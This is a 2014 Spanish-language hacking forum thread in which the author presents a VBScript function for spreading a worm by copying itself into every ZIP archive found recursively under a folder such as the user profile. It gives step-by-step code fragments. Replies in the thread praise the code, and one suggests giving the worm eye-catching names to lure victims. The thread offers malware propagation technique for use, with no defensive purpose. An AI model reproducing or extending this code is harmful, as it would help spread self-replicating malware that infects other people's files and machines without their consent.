Título: [VBS] Función para hacer "spread" a fichero ZIP Publicado por: Mad Antrax en 10 Abril 2014, 09:49 am Muy buenas a todos
Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo: (http://i.imgur.com/uhCEFqE.png) Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script: 1) Creación de variables para el uso del script: Código: Set oWSH = CreateObject("WScript.Shell") 2) Recoger la ruta de los ficheros de la carpeta %userprofile% Código: Set Folds = oFSO.GetFolder(P) 3) Recoger la extensión de cada fichero encontrado, busca si es un .zip Código: ext = LCase(oFSO.GetExtensionName(File.path)) 4) Creación de un objeto que permite trabajar con carpetas ZIP Código: Set FILE = CreateObject("Shell.Application").NameSpace(ZIP) 5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip Código: If Not InStr(RR,SelfName) > 0 Then 6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios: Código: Set File = Folds.Subfolders ========================================== El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba: Código: ZipSpread("C:\carpeta_prueba") Os dejo el código en formato copypaste: Código
Saludos!! :D Título: Re: [VBS] Función para hacer "spread" a fichero ZIP Publicado por: daryo en 11 Abril 2014, 17:57 pm genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP Publicado por: Mad Antrax en 11 Abril 2014, 18:14 pm genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ? Queda guardado en la carpeta raíz del ZIP, con el nombre del fichero original. Por ejemplo: Fichero: gusano.vbs En los ficheros ZIP que infecte, se copiará con el nombre gusano.vbs Se podría modificar el script para que cambie o genere un nombre aleatório. Saludos Título: Re: [VBS] Función para hacer "spread" a fichero ZIP Publicado por: daryo en 11 Abril 2014, 18:17 pm ah gracias :) , si talves estaria bien ponerle nombres llamativos xD
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP Publicado por: titan6146 en 14 Abril 2014, 21:06 pm Sos una bestia muy util el code me lo llevo
Título: Re: [VBS] Función para hacer "spread" a fichero ZIP Publicado por: BigBear en 15 Abril 2014, 20:42 pm me gustaria traducirlo a delphi pero lo veo para avanzados.
|